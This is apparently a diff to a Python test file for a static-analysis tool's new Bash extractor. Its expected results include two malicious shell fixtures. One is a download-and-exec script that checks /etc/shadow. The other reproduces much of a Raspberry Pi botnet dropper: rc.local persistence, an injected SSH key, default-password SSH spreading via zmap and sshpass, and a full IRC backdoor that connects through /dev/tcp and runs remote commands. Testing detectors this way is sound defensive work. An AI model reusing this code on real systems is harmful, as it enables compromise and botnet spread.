TreeSitterExtractorEngine, root_node: Node, expected: List[str] -): +def do_test_ts_extractor_engine_get_string_literals(engine: TreeSitterBaseEngine, root_node: Node, expected: List[str]): assert len(list(engine.get_string_literals(root_node))) == len(expected) for node, expected_range in zip(engine.get_string_literals(root_node), expected): assert isinstance(node, Node) @@ -140,7 +147,7 @@ def do_test_ts_extractor_engine_get_string_literals( def do_test_ts_extractor_engine_get_integer_literals( - engine: TreeSitterExtractorEngine, root_node: Node, expected: List[str] + engine: TreeSitterBaseEngine, root_node: Node, expected: List[str] ): assert len(list(engine.get_integer_literals(root_node))) == len(expected) for node, expected_range in zip(engine.get_integer_literals(root_node), expected): @@ -158,7 +165,7 @@ def do_test_ts_extractor_engine_get_namespaces(engine: TreeSitterExtractorEngine do_test_ts_base_engine_get_address(engine, node) -def do_test_ts_extractor_engine_get_global_statements(engine: TreeSitterExtractorEngine, expected: List[str]): +def do_test_ts_extractor_engine_get_global_statements(engine: TreeSitterBaseEngine, expected: List[str]): assert len(list(engine.get_global_statements())) == len(expected) for node, expected_range in zip(engine.get_global_statements(), expected): assert isinstance(node, Node) @@ -175,9 +182,197 @@ def do_test_ts_extractor_engine_get_assigned_property_names( do_test_ts_base_engine_get_address(engine, node) +def do_test_bash_command_with_path_prefix(): + toolkit = LANGUAGE_TOOLKITS[LANG_BASH] + + assert toolkit.is_imported_function("/usr/bin/curl") + assert toolkit.format_imported_function("/usr/bin/curl") == "curl" + + +def do_test_ts_bash_engine(engine: TreeSitterBashEngine, expected: dict): + root_node = engine.tree.root_node + + do_test_ts_extractor_engine_init(engine, expected["language"]) + do_test_ts_extractor_engine_get_function_definitions(engine, root_node, expected["all function definitions"]) + do_test_ts_extractor_engine_get_function_calls(engine, root_node, expected["all function calls"]) + do_test_ts_extractor_engine_get_string_literals(engine, root_node, expected["all string literals"]) + do_test_ts_extractor_engine_get_integer_literals(engine, root_node, expected["all integer literals"]) + do_test_ts_extractor_engine_get_global_statements(engine, expected["global statements"]) + do_test_ts_base_engine_get_default_address(engine) + do_test_bash_command_with_path_prefix() + + @parametrize( "engine_str,expected", [ + ( + "sh_91800a_extractor_engine", + { + "language": LANG_BASH, + "all objects": [], + "all function definitions": [ + ("log_and_run() {", "log_and_run"), + ("launch() {", "launch"), + ], + "all function calls": [ + ('echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', "echo"), + ("return 1 2>/dev/null || exit 1", "return"), + ("exit", "exit"), + ("trap 'rm -f \"$tmp\"' EXIT", "trap"), + ('eval "echo start"', "eval"), + ('curl "$url" -o "$tmp"', "curl"), + ('chmod 700 "$tmp"', "chmod"), + ("mkfifo /tmp/f", "mkfifo"), + ('exec bash "$tmp"', "exec"), + ("test -f /etc/shadow", "test"), + ("log_and_run", "log_and_run"), + ], + "all string literals": [ + '"FATAL: This file is a static analysis fixture and must never be executed!"', + '"/tmp/.cache"', + '"http://example.com/payload"', + "'rm -f \"$tmp\"'", + '"echo start"', + '"$url"', + '"$tmp"', + '"$tmp"', + '"$tmp"', + ], + "all integer literals": [ + "2", + "1", + "2", + "1", + "3", + "700", + ], + "namespaces": [], + "global statements": [ + 'echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', + "return 1 2>/dev/null || exit 1", + 'tmp="/tmp/.cache"', + "count=3", + "if test -f /etc/shadow; then\n log_and_run\nfi", + ], + "properties": [], + }, + ), + ( + "sh_cff512_extractor_engine", + { + "language": LANG_BASH, + "all objects": [], + "all function definitions": [], + "all function calls": [ + ('echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', "echo"), + ("return 1 2>/dev/null || exit 1", "return"), + ("exit", "exit"), + ("realpath", "realpath"), + ("echo $MYSELF >> $DEBUG", "echo"), + ("mktemp -u 'XXXXXXXX'", "mktemp"), + ("sudo cp $MYSELF /opt/$NEWMYSELF", "sudo"), + ("sudo sh -c \"echo '#!/bin/sh -e' > /etc/rc.local\"", "sudo"), + ('sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"', "sudo"), + ("sudo sh -c \"echo 'exit 0' >> /etc/rc.local\"", "sudo"), + ("sleep 1", "sleep"), + ("sudo reboot", "sudo"), + ("mktemp", "mktemp"), + ("echo $TMP1 >> $DEBUG", "echo"), + ("killall bins.sh", "killall"), + ("killall minerd", "killall"), + ("killall node", "killall"), + ("killall nodejs", "killall"), + ("killall ktx-armv4l", "killall"), + ("killall ktx-i586", "killall"), + ("killall ktx-m68k", "killall"), + ("killall ktx-mips", "killall"), + ("killall ktx-mipsel", "killall"), + ("killall ktx-powerpc", "killall"), + ("killall ktx-sh4", "killall"), + ("killall ktx-sparc", "killall"), + ("killall arm5", "killall"), + ("killall zmap", "killall"), + ("killall kaiten", "killall"), + ("killall perl", "killall"), + ('echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts', "echo"), + ("rm -rf /root/.bashrc", "rm"), + ("rm -rf /home/pi/.bashrc", "rm"), + ("usermod -p ... pi", "usermod"), + ("mkdir -p /root/.ssh", "mkdir"), + ('echo "ssh-rsa ..."', "echo"), + ('echo "nameserver 8.8.8.8" >> /etc/resolv.conf', "echo"), + ("rm -rf /tmp/ktx*", "rm"), + ("rm -rf /tmp/cpuminer-multi", "rm"), + ("rm -rf /var/tmp/kaiten", "rm"), + ("cat > /tmp/public.pem", "cat"), + ("mktemp -u 'XXXXXXXX'", "mktemp"), + ("cat > /tmp/$BOT", "cat"), + ("chmod +x /tmp/$BOT", "chmod"), + ("nohup /tmp/$BOT 2>&1 > /tmp/bot.log &", "nohup"), + ("rm /tmp/nohup.log -rf", "rm"), + ("rm -rf nohup.out", "rm"), + ("sleep 3", "sleep"), + ("rm -rf /tmp/$BOT", "rm"), + ("mktemp -u 'XXXXXXXX'", "mktemp"), + ("date > /tmp/.s", "date"), + ("apt-get update -y --force-yes", "apt-get"), + ("apt-get install zmap sshpass -y --force-yes", "apt-get"), + ("mktemp", "mktemp"), + ("zmap -p 22 -o $FILE -n 100000", "zmap"), + ("killall ssh", "killall"), + ("cat $FILE", "cat"), + ("sshpass -praspberry scp ...", "sshpass"), + ("echo $IP >> /opt/.r", "echo"), + ("sshpass -praspberry ssh ...", "sshpass"), + ("sshpass -praspberryraspberry993311 scp ...", "sshpass"), + ("echo $IP >> /opt/.r", "echo"), + ("sshpass -praspberryraspberry993311 ssh ...", "sshpass"), + ("rm -rf $FILE", "rm"), + ("sleep 10", "sleep"), + ], + "all string literals": [ + '"FATAL: This file is a static analysis fixture and must never be executed!"', + '"$EUID"', + "'XXXXXXXX'", + "\"echo '#!/bin/sh -e' > /etc/rc.local\"", + '"echo /opt/$NEWMYSELF >> /etc/rc.local"', + "\"echo 'exit 0' >> /etc/rc.local\"", + '"127.0.0.1 bins.deutschland-zahlung.eu"', + '"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"', + '"nameserver 8.8.8.8"', + "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs\nglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW\nrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF\nWRq+Z8HYMvPlgSRA3wIDAQAB\n-----END PUBLIC KEY-----\n", + "'XXXXXXXX'", + '#!/bin/bash\n\nSYS=`uname -a | md5sum | awk -F\' \' \'{print $1}\'`\nNICK=a${SYS:24}\nwhile [ true ]; do\n\n\tarr[0]="ix1.undernet.org"\n\tarr[1]="ix2.undernet.org"\n\tarr[2]="Ashburn.Va.Us.UnderNet.org"\n\tarr[3]="Bucharest.RO.EU.Undernet.Org"\n\tarr[4]="Budapest.HU.EU.UnderNet.org"\n\tarr[5]="Chicago.IL.US.Undernet.org"\n\trand=$[$RANDOM % 6]\n\tsvr=${arr[$rand]}\n\n\teval \'exec 3<>/dev/tcp/$svr/6667;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\n\techo $NICK\n\n\teval \'printf "NICK $NICK\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tcontinue\n\tfi\n\teval \'printf "USER user 8 * :IRC hi\\r\\n" >&3;\'\n\tif [[ ! "$?" -eq 0 ]] ; then\n\t\tcontinue\n\tfi\n\n\t# Main loop\n\twhile [ true ]; do\n\t\teval "read msg_in <&3;"\n\n\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\tbreak\n\t\tfi\n\n\t\tif [[ "$msg_in" =~ "PING" ]] ; then\n\t\t\tprintf "PONG %s\\n" "${msg_in:5}";\n\t\t\teval \'printf "PONG %s\\r\\n" "${msg_in:5}" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\t\tsleep 1\n\t\t\teval \'printf "JOIN #biret\\r\\n" >&3;\'\n\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\tbreak\n\t\t\tfi\n\t\telif [[ "$msg_in" =~ "PRIVMSG" ]] ; then\n\t\t\tprivmsg_h=$(echo $msg_in| cut -d\':\' -f 3)\n\t\t\tprivmsg_data=$(echo $msg_in| cut -d\':\' -f 4)\n\t\t\tprivmsg_nick=$(echo $msg_in| cut -d\':\' -f 2 | cut -d\'!\' -f 1)\n\n\t\t\thash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F\' \' \'{print $1}\'`\n\t\t\tsign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`\n\n\t\t\tif [[ "$sign" == "$hash" ]] ; then\n\t\t\t\tCMD=`echo $privmsg_data | base64 -d -i`\n\t\t\t\tRES=`bash -c "$CMD" | base64 -w 0`\n\t\t\t\teval \'printf "PRIVMSG $privmsg_nick :$RES\\r\\n" >&3;\'\n\t\t\t\tif [[ ! "$?" -eq 0 ]] ; then\n\t\t\t\t\tbreak\n\t\t\t\tfi\n\t\t\tfi\n\t\tfi\n\tdone\ndone\n', + "'XXXXXXXX'", + '"cd /tmp && chmod +x $NAME && bash -c ./$NAME"', + '"cd /tmp && chmod +x $NAME && bash -c ./$NAME"', + ], + "all integer literals": [ + "2", + "1", + "2", + "1", + "0", + "1", + "2", + "1", + "3", + "22", + "100000", + "10", + ], + "namespaces": [], + "global statements": [ + 'echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2', + "return 1 2>/dev/null || exit 1", + "MYSELF=`realpath $0`", + "DEBUG=/dev/null", + "echo $MYSELF >> $DEBUG", + 'if [ "$EUID" -ne 0 ]\nthen ', + ], + "properties": [], + }, + ), ( "cs_138cdc_extractor_engine", { @@ -270,6 +465,10 @@ def do_test_ts_extractor_engine_get_assigned_property_names( ], ) def test_ts_extractor_engine(request: pytest.FixtureRequest, engine_str: str, expected: dict): + if expected["language"] == LANG_BASH: + bash_engine: TreeSitterBashEngine = request.getfixturevalue(engine_str) + do_test_ts_bash_engine(bash_engine, expected) + return engine: TreeSitterExtractorEngine = request.getfixturevalue(engine_str) do_test_ts_extractor_engine_init(engine, expected["language"]) do_test_ts_extractor_engine_get_new_objects(engine, engine.tree.root_node, expected["all objects"]) @@ -1169,6 +1368,30 @@ def do_test_ts_html_engine_init(engine: TreeSitterHTMLEngine): ("aspx_15eed4", "global", Arch(ARCH_ANY), True), ("aspx_b75f16", "global", Arch(ARCH_ANY), True), ("aspx_d460ca", "global", Arch(ARCH_ANY), True), + ("sh_91800a", "global", Arch(ARCH_ANY), True), + ("sh_91800a", "global", OS(OS_ANY), True), + ("sh_91800a", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_BASH]), True), + ("sh_91800a", "file", Format(FORMAT_SCRIPT), True), + ("sh_91800a", "function=log_and_run", API("builtins.trap"), True), + ("sh_91800a", "function=log_and_run", API("builtins.eval"), True), + ("sh_91800a", "function=log_and_run", API("curl"), True), + ("sh_91800a", "function=log_and_run", API("chmod"), True), + ("sh_91800a", "function=log_and_run", String("echo start"), True), + ("sh_91800a", "function=log_and_run", Number(700), True), + ("sh_91800a", "function=launch", API("mkfifo"), True), + ("sh_91800a", "function=launch", API("builtins.exec"), True), + ("sh_91800a", "function=PSEUDO MAIN", Number(3), True), + ("sh_91800a", "function=PSEUDO MAIN", String("/tmp/.cache"), True), + ("sh_91800a", "function=PSEUDO MAIN", API("builtins.test"), True), + ("sh_cff512", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_BASH]), True), + ("sh_cff512", "file", Format(FORMAT_SCRIPT), True), + ("sh_cff512", "function=PSEUDO MAIN", API("killall"), True), + ("sh_cff512", "function=PSEUDO MAIN", API("openssl"), False), + ("sh_cff512", "function=PSEUDO MAIN", API("zmap"), True), + ("sh_cff512", "function=PSEUDO MAIN", API("apt-get"), True), + ("sh_cff512", "function=PSEUDO MAIN", API("usermod"), True), + ("sh_cff512", "function=PSEUDO MAIN", Number(6667), False), + ("sh_cff512", "function=PSEUDO MAIN", Substring("8.8.8.8"), True), ("py_24e48f", "global", Arch(ARCH_ANY), True), ("py_24e48f", "global", OS(OS_ANY), True), ("py_24e48f", "global", ScriptLanguage(LANGUAGE_FEATURE_FORMAT[LANG_PY]), True),